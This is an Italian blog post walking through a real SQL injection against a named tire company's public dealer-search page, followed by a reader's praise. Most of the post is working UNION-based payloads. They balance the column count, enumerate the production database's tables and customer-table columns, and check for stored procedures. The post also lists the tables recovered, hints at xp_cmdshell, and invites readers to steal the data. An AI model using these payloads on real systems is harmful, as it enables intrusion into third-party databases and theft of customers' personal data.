[01] HackAttack – How to steal a database

Oggi è successa una cosa strana, durante il lavoro mi è stato chiesto da un amico un esempio "vero" di sql-injection. Li sul momento avevo molte cose da sbrigare.. e così lo rimandai a questo advisory. Tornato con un triste "ma è un or.. tutti sanno mettere una or" è scattato qualcosa. Quello che dice il mio amico è vero.. una or la sanno mettere tutti.. (ndcs basta cercare su forum italiani con google et voilà.. nomi come sonounhackercazzutppercheusogliexploitdeglialtri.com).
Ma con SQL Injection (e sue derivate) cosa ci posso veramente fare? Cioè, il massimo è scrivere una news nel sito bucato con scritto HACKED! by iosuperhacker?
Ma se io fossi un criminale. Se fossi una persona che può guadagnare (e anche forte) cosa potrei veramente fare? Sono specializzato nelle applicazioni web. Il 70% delle mie attività lavorative ha a che fare con programmi per il web. E' 8 anni che faccio questo lavoro, 10 che batto tasti su tastiere. Ti viene naturale scoprire delle vulnerabilità. Cerchi di capire il codice.. mentre la gente non riesce ad andare oltre l'interfaccia grafica. Ritornando alla frase
"ma è un or.. tutti sanno mettere una or"
Per quanto ne so io, tutti parlano di sql injection. Ma nessuno ha mai avuto il coraggio di documentare come sia possibile eseguire l'exploit su di un server. Di un server di produzione. di un sito reale.. con indirizzi e codice reale.
Se mi costerà qualcosa, beh vedremo (viva la libertà d'informazione).
L'inizio
27 Novembre 2007 - Advisory Toyo Tires. Vi ricordate le simpatiche SQL Injection di cui soffriva l'applicativo CMS? Bene, i signori della toyo (ed il loro reparto IT) hanno ben deciso di condividere l'idea del software insicuro ed hanno scritto la pagina dealers.asp. Ok cool, ma chi mi spiega che senso ha linkare una pagina autrice di operazioni su database (scrittura,lettura,delete) prima del login?
Che ci faccio con questa pagina?
select * from dealers where campo1 like '%%' or campo2 like '%%' or campo3 like '%%'
Allora la pagina ad ogni action del form non fa altro che postare a se stessa una variabile di nome text, la quale viene valorizzata con il valore inserito dall'utente. Questo è il nostro ingresso. La prima cosa da fare è cercare di recuperare informazioni da altre tabelle oltre che a quella dei dealers.
Problema: "Devo trovare delle altre tabelle, come faccio?"
Troncare la query ed inserire un altra interrogazione di recupero. Come? Ogni database SQL-Server ha le sue fantastiche tabelle/viste di sistema, le quali indicizzano tutti gli oggetti presenti all'interno del database (tab,viste,stored,etc) del database. Dio benedica chi ha avuto questa idea! Le tabelle sono indicizzate all'interno di INFORMATION_SCHEMA.TABLES ha diverse colonne, quella che interessa è la colonna TABLE.NAME. Lanciamo la query
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%CUSTOMER%' --
così facendo completiamo la query in questo modo
select * from dealers where campo1 like '%provone';select
top 1 table_name FROM INFORMATION_SCHEMA.TABLES
where table_name like '%customer%' --%' or
campo2 like '%%' or campo3 like '%%'
perfetto, lanciamo la query.. non va. uhm.. Qualcosa non sta funzionando (la query restituisce due gruppi sperati di valori e non riesce ad unirle all'interno del recordset), la prima cosa che mi viene in mente è la UNION. Non riesco ad unire il risultati, le due query sono separate e il programma non le riesce a digerire. La query non è andata in errore, non ho ricevuto alcun errore SQL. Quindi ha funzionato, ma io non la riesco a vedere.
Si union, devo unire le due query. Bel casino, perchè? Per via dell'errore che si riceve quando si esegue questa query
provone' UNION SELECT 1 from sysobjects;--
ritorna
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
La tabella dealers ha più campi di quelli restituiti da sysobjects.. devo quindi capire quanti campi ha dealers e da li iniziare a craftare sql per far bilanciare l'equazione. Si parte scrivendo query
provone' union select 1,null;--
Ed aggiungere un NULL, fin tanto che il database non ritorna più errore. Nel nostro caso la nostra tabella di query principale ha 29 campi; ecco la query
provone' UNION SELECT
1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
WHERE 1=1 --
Ora nasce un altro problema, il numero massimo di record che possiamo utilizzare è uno solo.
Rilanciamo la query precedente per il recupero tabelle in modo che restituisca un solo valore
provone' UNION SELECT 1,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%customer%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
WHERE 1=1 --
"Houston abbiamo la tabella". La query può essere modificata a piacimento, e con un programmino per automatizzare il tutto si possono trovare la quasi totalità delle query. A dire il vero - tanto questa sera è andata così - non è il massimo del divertimento. A manina, non c'è altro modo!
Ora che abbiamo trovato il modo di trovare le tabelle è necessario andare a recuperare le colonne. Per questo tipo d'interrogazioni ci "appoggeremo" su INFORMATION_SCHEMA.COLUMNS
provone' UNION SELECT 1,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%customer%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
WHERE 1=1 --
Visto che address1 non è prossimo il massimo se si cerca un campo "di valore" continuamo a ciclare i dati. Questa volta è necessario aggiungere una ulteriore clausola alla query. Ovvero, mostrami la prima colonna disponibile della tabella che non sia address1.
provone' UNION SELECT 1,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_storeCustomer' and COLUMN_NAME NOT IN ('address1')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --
Si continua a scoprire campi aggiungendo "and COLUMN_NAME NOT IN ('address1','address2')" e così via. Vi accellero i risultati, ecco la query che mostra l'ultima colonna della tabella
provone' UNION SELECT 1,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_storeCustomer' AND COLUMN_NAME NOT IN ('address1','address2','city','country','dateAdded','email','fax','firstname','lastname','listingID','mpListingId','optin_mailing_list','phone','phoneOrder','phone2','retailerID','state','storeCustomerID','userID','zip')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --
Le tabelle che sono saltate fuori dopo circa 40 minuti in totale sono:
tbl_contracts_order_product
ListingProductID
tbl_channel_order
rptRetailerBids
tbl_partnerPayment
tbl_retailerGroupBuyParts
tbl_magazineSubs
tbl_listingProductPartsVehicle
tbl_listingProductOptimized
vMPtopBiddersCurrentMonth
mgmt_Manufacturers with signed contracts
tbl_paceEdwards_Dealers
tbl_listingSpotlight
tbl_mpUserStat
ChannelVehicle
tbl_Ad_PhotoSpot
tbl_vendor_productType
tbl_announcements
tbl_site
tbl_vehicleYear
LastEscrowDepost
tbl_mpConfig
tbl_banner
Una volta che avete in mano tabelle e relative colonne potete tranquillamente interrogare il database e rubare i dati per cui vi è stato chiesto di lavorare.
Se volete capire le cose che si possono fare con TSQL su internet è pieno di dimostrazioni, fate voi. Se invece sapete dove mettere le mani vi consiglio questa reference di stored procedures di sistema (sp_denylogin , xcmd_shell? anyone?).
Nel caso vi possa essere utile, riporto la sql injection per verificare che una determinata stored esista.
provone' UNION SELECT 1,(SELECT ROUTINE_NAME FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION LIKE '%sp_a%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --
Dopo tutto quello che è stato provato è possibile:
- Inserire modificare cancellare dati/tabelle/database
- Eseguire stored di sistema
- Spegnere la macchina su cui gira il database server
- Recuperare importanti informazioni (anche private)
- Causare seri danni
Tutto questo per non aver validato una banale form. 10 minuti (non di più) di lavoro e questo post non esisterebbe.
Nota bene: "Per questo esempio non è stato violato alcun sistema di protezione, non è stato aggirato nessun messaggio di accesso riservato ed esclusivo."
Vado a prepararmi un piatto di pasta, devo ancora cenare. Per questa volta niente conclusioni, ne morali.
January 24th, 2008 - 12:47
O_o mi viene solo un commento da esprimere: gran bell’articolo ^^ se ne trovano pochi spiegati in maniera dettagliata andando a fondo del bug che risiede..
i miei complimenti;)